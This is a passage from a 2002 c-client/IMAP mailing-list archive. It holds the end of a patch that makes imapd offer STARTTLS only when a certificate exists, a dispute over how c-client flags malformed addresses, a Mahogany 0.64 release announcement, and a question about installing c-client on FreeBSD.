*) &s);=0A= ! else PSOUT (" STARTTLS");=0A= /* disable plaintext */=0A= if (mail_parameters (NIL,GET_DISABLEPLAINTEXT,NIL)) {=0A= PSOUT (" LOGINDISABLED");=0A= --- 3150,3162 ----=0A= if (!anonymous) PSOUT (" MULTIAPPEND");=0A= }=0A= if (flag <=3D 0) { /* want pre-authentication capabilities? */=0A= + char tmp[MAILTMPLEN];=0A= + =0A= PSOUT (" LOGIN-REFERRALS");=0A= ! if (0 =3D=3D ssl_certificate_file("imapd", tmp)) {=0A= ! if (s =3D ssl_start_tls (NIL)) fs_give ((void *) &s);=0A= ! else PSOUT (" STARTTLS");=0A= ! }=0A= /* disable plaintext */=0A= if (mail_parameters (NIL,GET_DISABLEPLAINTEXT,NIL)) {=0A= PSOUT (" LOGINDISABLED");=0A= =00 End of diffs between src/imapd/imapd.c and src/imapd/imapd.c (-r = 1.2.2.15)=0A= =0A= Diffs between src/osdep/unix/ssl_unix.c and src/osdep/unix/ssl_unix.c = (Private/Checkout branch)=0A= =0A= =0A= *** In special diff script ***=0A= =0A= *** /local/derr/sandbox/ias/tmp//src/osdep/unix/ssl_unix.c.UserBranch = Fri Jan 11 11:58:30 2002=0A= --- src/osdep/unix/ssl_unix.c Fri Jan 11 11:54:03 2002=0A= ***************=0A= *** 560,573 ****=0A= return NIL;=0A= }=0A= =0C=0A= ! /* Init server for SSL=0A= ! * Accepts: server name=0A= */=0A= =0A= ! void ssl_server_init (char *server)=0A= {=0A= ! char tmp[MAILTMPLEN];=0A= ! unsigned long i;=0A= struct stat sbuf;=0A= #ifndef IPV6=0A= struct sockaddr_in sin;=0A= --- 560,573 ----=0A= return NIL;=0A= }=0A= =0C=0A= ! /* Check whether a certificate file exists, and determine its name.=0A= ! * Accepts: server name, certificate name buffer=0A= ! * Returns: 0 for success, non-zero for failure=0A= */=0A= =0A= ! int ssl_certificate_file (char *server, char *cert_name)=0A= {=0A= ! int return_status =3D -1;=0A= struct stat sbuf;=0A= #ifndef IPV6=0A= struct sockaddr_in sin;=0A= ***************=0A= *** 578,598 ****=0A= char nodename[256];=0A= size_t nodelen =3D 256;=0A= #endif /* IPV6 */=0A= ! SSLSTREAM *stream =3D (SSLSTREAM *) memset (fs_get (sizeof = (SSLSTREAM)),0,=0A= ! sizeof (SSLSTREAM));=0A= ! ssl_onceonlyinit (); /* make sure algorithms added */=0A= ! ERR_load_crypto_strings ();=0A= ! SSL_load_error_strings ();=0A= ! tmp[0] =3D '\0'; /* build specific certificate/key file name */=0A= if (!getsockname (0,(struct sockaddr *) &sin,(void *) &sinlen) &&=0A= #ifndef IPV6=0A= (sin.sin_family =3D=3D AF_INET))=0A= #else /* IPV6 */=0A= (sin.sin6_family =3D=3D AF_INET6))=0A= ! getnameinfo(sin, sizeof(struct sockaddr_in6), nodename, nodelen,=0A= NULL, 0, NI_NUMERICHOST);=0A= #endif /* IPV6 */=0A= ! sprintf (tmp,"%s/%s-%s.pem",SSL_CERT_DIRECTORY,server,=0A= #ifndef IPV6=0A= inet_ntoa (sin.sin_addr));=0A= #else /* IPV6 */=0A= --- 578,594 ----=0A= char nodename[256];=0A= size_t nodelen =3D 256;=0A= #endif /* IPV6 */=0A= ! =0A= ! cert_name[0] =3D '\0'; /* build specific certificate/key file name = */=0A= if (!getsockname (0,(struct sockaddr *) &sin,(void *) &sinlen) &&=0A= #ifndef IPV6=0A= (sin.sin_family =3D=3D AF_INET))=0A= #else /* IPV6 */=0A= (sin.sin6_family =3D=3D AF_INET6))=0A= ! getnameinfo(&sin, sizeof(struct sockaddr_in6), nodename, nodelen,=0A= NULL, 0, NI_NUMERICHOST);=0A= #endif /* IPV6 */=0A= ! sprintf (cert_name,"%s/%s-%s.pem",SSL_CERT_DIRECTORY,server,=0A= #ifndef IPV6=0A= inet_ntoa (sin.sin_addr));=0A= #else /* IPV6 */=0A= ***************=0A= *** 599,606 ****=0A= nodename);=0A= #endif /* IPV6 */=0A= /* use non-specific name if no specific file */=0A= ! if (!tmp[0] || stat (tmp,&sbuf))=0A= ! sprintf (tmp,"%s/%s.pem",SSL_CERT_DIRECTORY,server);=0A= /* create context */=0A= if (!(stream->context =3D SSL_CTX_new (start_tls ?=0A= TLSv1_server_method () :=0A= --- 595,623 ----=0A= nodename);=0A= #endif /* IPV6 */=0A= /* use non-specific name if no specific file */=0A= ! if (!cert_name[0] || (return_status =3D stat (cert_name,&sbuf))) {=0A= ! sprintf (cert_name,"%s/%s.pem",SSL_CERT_DIRECTORY,server);=0A= ! return_status =3D stat (cert_name,&sbuf);=0A= ! }=0A= ! return return_status;=0A= ! }=0A= ! =0C=0A= ! /* Init server for SSL=0A= ! * Accepts: server name=0A= ! */=0A= ! =0A= ! void ssl_server_init (char *server)=0A= ! {=0A= ! char tmp[MAILTMPLEN];=0A= ! unsigned long i;=0A= ! SSLSTREAM *stream =3D (SSLSTREAM *) memset (fs_get (sizeof = (SSLSTREAM)),0,=0A= ! sizeof (SSLSTREAM));=0A= ! ssl_onceonlyinit (); /* make sure algorithms added */=0A= ! ERR_load_crypto_strings ();=0A= ! SSL_load_error_strings ();=0A= ! tmp[0] =3D '\0'; /* build specific certificate/key file name */=0A= ! ssl_certificate_file(server, tmp);=0A= ! =0A= /* create context */=0A= if (!(stream->context =3D SSL_CTX_new (start_tls ?=0A= TLSv1_server_method () :=0A= =00 End of diffs between src/osdep/unix/ssl_unix.c and = src/osdep/unix/ssl_unix.c (Private/Checkout branch)=0A= =0A= ------=_NextPart_000_05F5_01C19AA3.2D31A6E0-- From pinedev@shivax2.cac.washington.edu Fri Jan 11 10:41:50 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jan 2002 10:41:50 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0BIfnV6018490 for ; Fri, 11 Jan 2002 10:41:49 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Fri Jan 11 10:41:42 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0BIfg11003345; Fri, 11 Jan 2002 10:41:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0BIfQb29300; Fri, 11 Jan 2002 10:41:26 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0BIdQn126864 for ; Fri, 11 Jan 2002 10:39:26 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Jan 11 10:39:25 2002 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0BIdNm1000432 for ; Fri, 11 Jan 2002 10:39:24 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.1/jtpda-5.4) with ESMTP id g0BIdMYD075128 for ; Fri, 11 Jan 2002 19:39:22 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g0BIdMj03484 for ; Fri, 11 Jan 2002 19:39:22 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id TAA05855 ; Fri, 11 Jan 2002 19:39:22 +0100 Message-Id: <200201111839.TAA05855@seth.lpthe.jussieu.fr> Date: Fri, 11 Jan 2002 19:39:22 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: Re[4]: Address parse error on weird From: header In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 Jan 2002 10:23:55 -0800 (PST) Mark Crispin wrote: MC> On Wed, 9 Jan 2002 18:50:33 +0100 (CET), Vadim Zeitlin wrote: MC> > Yes, but wouldn't it be better to leave the address as is instead of MC> > adding SYNTEX-ERROR and other ugliness to it? MC> MC> All error indications (such as ".SYNTAX-ERROR") consist of a "host name" that MC> has a leading ".". That indicates to the application that there was something MC> wrong with the string that it fed to c-client to parse. This is how c-client MC> tells the application that something was wrong, and gives the application a MC> chance to say "whoa! Maybe we don't want to act on this data." Yes, but why mangle the address? I surely like the fact that c-client notifies me about the address parsing error but I don't understand why does it have to do it in a so intrusive way. Why not just set the error flag in the ADDRESS struct? MC> > I have to undo this stuff MC> > manually now as I have no intention of showing it to the user and it seems MC> > pretty stupid. MC> MC> It "seems pretty stupid" to give the application, and possibly the end user, a MC> clue that there is something wrong with the data? Most people would disagree. I meant that it was stupid to undo the work done by c-client in the program (in particular I didn't mean to offend anyone). MC> Most people think that it's "pretty stupid" to act on corrupted data as if MC> nothing happened, with no warning to application or user. But surely I (the application) will do something about it. I just want to be able to show to the user something readable instead of this .SYNTAX-ERROR. thing. MC> "Be conservative in what you send and liberal with what you receive" is often MC> misquoted by people who fail to understand what Jon Postel meant when he said MC> it. I knew Jon, and I was around when he said it. You certainly do, but IMHO it still makes sense to try harder to parse the addresses just because there are so many broken mailers around which generate incorrect but obviously understandably by humans addresses. It's not much help to me that c-client conforms to the standards better when a user sends me a mail asking why do Outlook and Eudora can parse the address field in a message he received but Mahogany cannot (again, this, of course, only applies to the incoming part - I am extremely glad that c-client is standard-conforming with what it sends out). Anyhow, if you think there is no problem here I know that I have no chance at all to change your opinion but I just wanted to let you know how this is seen from the point of view of the library user. Regards, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jan 11 13:57:28 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jan 2002 13:57:22 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0BLvKV6031566 for ; Fri, 11 Jan 2002 13:57:21 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Jan 11 13:57:16 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0BLvFpr009451; Fri, 11 Jan 2002 13:57:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0BLux406818; Fri, 11 Jan 2002 13:56:59 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0BLrsn67976 for ; Fri, 11 Jan 2002 13:53:54 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Fri Jan 11 13:53:53 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0BLrr3F029379 for ; Fri, 11 Jan 2002 13:53:53 -0800 Message-Id: Date: Fri, 11 Jan 2002 12:00:55 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: Re[4]: Address parse error on weird From: header In-Reply-To: <200201111839.TAA05855@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 11 Jan 2002 19:39:22 +0100 (CET), Vadim Zeitlin wrote: > Yes, but why mangle the address? No address is "mangled". If you see an address with a host field with a token that starts and end with a ".", that address is an error block and should be treated as such. There are two types of error blocks. An error block with .MISSING-HOST-NAME. as its token indicates just that; it is what c-client uses as the "default host" when parsing a message in a mailbox. Normally a UI will use the local domain as the default host when parsing input from a user's keyboard. You can't do that when parsing a message since there's no way to know for certain what the intended host is. Decades of experience (and documents) demonstration why it is evil not to write fully-qualified addresses. An error block with .SYNTAX-ERROR. (this string is accessible via the global errhst) can have one of the following texts in the mailbox field: UNEXPECTED_DATA_AFTER_ADDRESS INVALID_ADDRESS UNEXPECTED_DATA_AFTER_ADDRESS_IN_GROUP INVALID_ADDRESS_IN_GROUP MISSING_MAILBOX_TERMINATOR Any other text in the mailbox field of a .SYNTAX-ERROR. error block indicates an incompletely parsed address. There should not be any other ADDRESS blocks after a .SYNTAX-ERROR. block, even if there is additional text containing possible good addresses in the original text. So, once you see one of these, you should assume that at best you have a truncated representation of the address list and not the complete list. > I surely like the fact that c-client > notifies me about the address parsing error but I don't understand why does > it have to do it in a so intrusive way. Why not just set the error flag in > the ADDRESS struct? It is intrusive because applications MUST be aware of the underlying condition and MUST NOT blithely ignore it. The "error" field is writeable by the SMTP code, and used solely for SMTP errors. The "error" field only contains one unit of data. As you can see, what is needed are two units. Most damning of all, the "error" field is not transmitted via IMAP. That, alone, is enough to preclude its use. > I meant that it was stupid to undo the work done by c-client in the > program If all you do is "undo" the work done by c-client, your application has a bug. If you get one of these, the address list MUST be considered to be corrupt and untrustworthy, and your application MUST do remedial action over and above "undoing" it. > But surely I (the application) will do something about it. I just want to > be able to show to the user something readable instead of this > .SYNTAX-ERROR. thing. When Pine sees a .SYNTAX-ERROR. block, it refetches the address list in question as text for display as literal text instead of using the c-client parsed representation. This conveys the maximum amount of information to the user, as opposed to c-client's truncated understanding of the message. You may want to consider something similar. > You certainly do, but IMHO it still makes sense to try harder to parse the > addresses just because there are so many broken mailers around which > generate incorrect but obviously understandably by humans addresses. The situation was much much worse in the 1970s and 1980s. I can assure you from FIRST-HAND experience that the practice of "try harder to parse bogus syntax" (and worse, "fix bogus syntax") leads inevitably to worse horrors. I am not eager to repeat those battles. I am especially not eager to put myself on the wrong side of those battles. c-client's parser does not check for all possible errors. Rather, c-client strives to parse all possible valid input correctly (this is its "be liberal in what you accept"). In the case of error input, either that error input runs afoul of a c-client check or it does not. A c-client check occurs when it must see one of a particular set of tokens to know what to do next, and it got something that it didn't expect; at that point c-client has lost parse synchronization and is obliged to give up (otherwise it'll probably spew forth tons of error messages). There are a (very) few cases of error input which c-client does not check. In such cases, c-client still has parse synchronization, and by continuing the result will be a reasonable guess at how it should be interpreted. For example, c-client does not enforce the requirement that there be a period between a quoted-string and an atom in a local-part. This is the other part of "be literal in what you accept"; c-client doesn't reject error input if it can continue in some reasonable manner. c-client always generates strictly compliant headers. This is its "be conservative in what you generate." If there are any changes made to c-client's error input handling, it will be in the direction of strict enforcement and consequent refusal to accept any addresses which do not strictly comply. > It's not much help to me that c-client conforms to the standards better > when a user sends me a mail asking why do Outlook and Eudora can parse the > address field in a message he received but Mahogany cannot Tell such naive users that they feel this way, they should use Outlook and Eudora, and enjoy their viruses, worms, and other security bugs. I am not out to compete with Outlook and Eudora in garbage digesting. The burnt hand teaches best. After that, advice about fire goes to the heart. From pinedev@shivax2.cac.washington.edu Fri Jan 11 15:22:31 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 11 Jan 2002 15:22:25 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0BNMMV6028212 for ; Fri, 11 Jan 2002 15:22:22 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Fri Jan 11 15:22:16 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0BNMFpr012049; Fri, 11 Jan 2002 15:22:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0BNM4528402; Fri, 11 Jan 2002 15:22:04 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0BNKsn29554 for ; Fri, 11 Jan 2002 15:20:54 -0800 Received: FROM mxu4.u.washington.edu BY mailscan5.cac.washington.edu ; Fri Jan 11 15:20:53 2002 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0BNKqVK028021 for ; Fri, 11 Jan 2002 15:20:52 -0800 Message-Id: Date: Fri, 11 Jan 2002 15:18:00 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Hadmut Danisch Cc: c-client@u.washington.edu Subject: re: Bug report C-client In-Reply-To: <20020111231331.GA4217@danisch.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN You must have an old or hacked copy of c-client, because in the distribution version there is no path by which myHomeDir can remain a null pointer after the "if (!home)" test in env_init(). From pinedev@shivax2.cac.washington.edu Mon Jan 14 07:29:00 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Jan 2002 07:28:58 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0EFSvV6004710 for ; Mon, 14 Jan 2002 07:28:57 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Jan 14 07:28:45 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0EFSi11007441; Mon, 14 Jan 2002 07:28:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0EFSV518810; Mon, 14 Jan 2002 07:28:31 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0EFQ8v22498 for ; Mon, 14 Jan 2002 07:26:09 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Jan 14 07:26:08 2002 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0EFQ63F019718 for ; Mon, 14 Jan 2002 07:26:07 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.1/jtpda-5.4) with ESMTP id g0EFQ5YD028364 ; Mon, 14 Jan 2002 16:26:05 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g0EFQ0j11786 ; Mon, 14 Jan 2002 16:26:00 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id QAA32590 ; Mon, 14 Jan 2002 16:25:56 +0100 Message-Id: <200201141525.QAA32590@seth.lpthe.jussieu.fr> Date: Mon, 14 Jan 2002 16:25:56 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client , "c.o.l.a." , editor Subject: ANN: Mahogany 0.64 released MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN A new release of `Mahogany' portable GUI email client has been made. ===================================================================== Source and binaries for a of Linux and Unix systems as well as binaries for Win32 are available at http://sourceforge.net/project/showfiles.php?group_id=3100 You can also get to the download page starting from http://mahogany.sourceforge.net/ If you have any problems, please contact us on our mailing lists: mahogany-users@lists.sourceforge.net mahogany-developers@lists.sourceforge.net In this message: 1. Announcing Mahogany Version 0.64 2. Acknowledgements 3. Changes Against the Previous Release Announcing Mahogany Version 0.64 ===================================================================== Mahogany is an OpenSource(TM) cross-platform mail news client. It is available for X11/Unix and MS Windows platforms and supports many of the Internet protocols and standards, including POP3, IMAP4 (and the secure versions using SSL), SMTP and NNTP. Mahogany also supports MIME and many common Unix mailbox formats (including MBX, MBOX and MH). The main "selling points" of Mahogany in our opinion are: * Cross-platform: use the same client to access your email from all the machines you use, share the settings between them. * Everything is configurable: all aspects of the program behaviour may be changed by the user, yet you don't have to spend any time doing it before starting to use the program which is completely plug-and-play - but you can fit it to your needs later. * High quality IMAP4 support: Mahogany is first and foremost an IMAP client and, although it does support POP3, it uses all the IMAP-only features (on demand message and attachment retrieval, server side messages copying/moving and also sorting/threading if available) and doesn't just consider IMAP as another kind of POP server. * Open to the world: Mahogany integrates well with the other programs (be it your WWW browser or an editor) and doesn't lock the user in proprietary formats, but uses the standard ones whenever possible. * Full featured: some of the features not yet mentioned are: modern GUI, built-in filters using a real programming language (but also GUI support for creating them without learning it), message templates, multiple identities, support for calendar plugin, powerful and flexible address book (with vCard support), synchronization with Palm, built-in HTML viewer, X-Face support, support for receiving faxes sent via EFax and much more. Acknowledgements ===================================================================== Mahogany is written using the OpenSource wxWindows framework for GUI C++ applications, building on the GTK+ toolkit on Unix and native Win32 API under Windows. The imap-2000 (c-client) library developed by University of Washington is used for mail folder access. We also use OpenSSL for SSL support and compface for X-Face support. We wish to thank all the people whose work has made writing Mahogany much simpler (and even possible at all)! Changes Since Release 0.63 ===================================================================== Don't let the small difference of the version numbers fool you - many things have changed dramatically since 0.63. For example, do try this version if you had tried Mahogany before and were unhappy about the speed of accessing the IMAP folders or deficiencies of POP3 support! Key changes are: * incomparably more efficient IMAP support: - retrieve headers on-demand making it possible to work with huge IMAP folders efficiently - use server side sorting and threading when available * local cache for POP3 folders which makes it possible to reliably detect new mail in them Some of new features: * HTML viewing and printing support * Mailing list support: possibility to automatically send reply only to the mailing list * Added possibility to monitor the folders in the background without opening them (IMAP) * Several new commands: permanently delete messages (not to trash), mark messages read/unread, open folder read-only, update/ping folder * One key message reading: automatically pass to the next unread message or folder after finishing reading the current one. Other noticeable improvements: * Win32 version now has SSL support as well * Passwords can now be stored only for the current session duration * Many GUI fixes: more (optional) progress dialogs, improvement to the filters dialog ("copy" and "rename" added), quickly change the sort/thread options by right clicking on the folder window header Important bug fixes: * Sorting/threading work together * Handle connection loss more gracefully * Many fixes to the new mail reporting and processing * Big improvements in handling of sending and reading messages in charsets other than ASCII Please see the CHANGES file in the distribution for an even more detailed list of changes. We hope you will enjoy Mahogany! M dev-team -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 15 02:13:39 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jan 2002 02:13:39 -0800 (PST) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0FADcV6004106 for ; Tue, 15 Jan 2002 02:13:38 -0800 (PST) Received: FROM mx1.cac.washington.edu BY mailscan4.cac.washington.edu ; Tue Jan 15 02:13:32 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0FADWpr003650; Tue, 15 Jan 2002 02:13:32 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0FADO523238; Tue, 15 Jan 2002 02:13:24 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0FABqK21426 for ; Tue, 15 Jan 2002 02:11:52 -0800 Received: FROM mxu3.u.washington.edu BY mailscan1.cac.washington.edu ; Tue Jan 15 02:11:48 2002 -0800 Received: from mail.mrtoads.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0FABlm1002491 for ; Tue, 15 Jan 2002 02:11:48 -0800 Received: from localhost ([64.130.38.189]) by mail.mrtoads.com (AppleMailServer 10.1.0.0) id 71831u via TCP with SMTP; Tue, 15 Jan 2002 01:51:42 -0800 Message-Id: <787FAA46-099D-11D6-8C14-000A278CC960@mrtoads.com> Date: Tue, 15 Jan 2002 01:51:39 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: c-client@u.washington.edu Subject: Installing c-client In-Reply-To: <3C0324D2.4050305@sixfeetup.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Where do I find the proper procedure for installing the c-client libraries on a FreeBSD 4.4 system? I can't find a list of which files to put where. If I've overlooked something totally obvious here, sorry. Thanks! -- Mark Edwards Engineer Mr. Toad's San Francisco mark@mrtoads.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jan 15 11:46:57 2002 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Jan 2002 11:46:50 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0FJkgV6025717 for ; Tue, 15 Jan 2002 11:46:45 -0800 (PST) Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Jan 15 11:46:31 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with ESMTP id g0FJkV11016255; Tue, 15 Jan 2002 11:46:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0FJkLb26158; Tue, 15 Jan 2002 11:46:21 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.11.6+UW01.08/8.11.6+UW01.10) with SMTP id g0FJhRK13104 for ; Tue, 15 Jan 2002 11:43:28 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Tue Jan 15 11:43:27 2002 -0800 Received: from mail.mrtoads.com (adsl-66-122-112-170.dsl.snfc21.pacbell.net [66.122.112.170]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW01.12) with SMTP id g0FJhQm1032076 for ; Tue, 15 Jan 2002 11:43:27 -0800 Received: from localhost ([64.130.38.189]) by mail.mrtoads.com (AppleMailServer 10.1.0.0) id 72743u via TCP with SMTP; Tue, 15 Jan 2002 11:43:21 -0800 Message-Id: <23B8F3A0-09F0-11D6-8B5A-000A278CC960@mrtoads.com> Date: Tue, 15 Jan 2002 11:43:24 -0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Edwards To: "Scot W. Hetzel" Cc: Subject: Re: Installing c-client In-Reply-To: <001a01c19de4$033083e0$7d7885c0@genroco.com> Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v480) Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What about installing it from my up-to-date compiled version? Is that not how you're supposed to do it? I've got a c-client directory in my imapd source directory that seems to have all the files in it and then some, but I'm not sure which to move. I actually currently have the cclient-0106191041 package installed from freebsd.org, but there must be some directions for installing it manually? Thanks. On Tuesday, January 15, 2002, at 08:45 AM, Scot W. Hetzel wrote: > From: "Mark Edwards" >> Where do 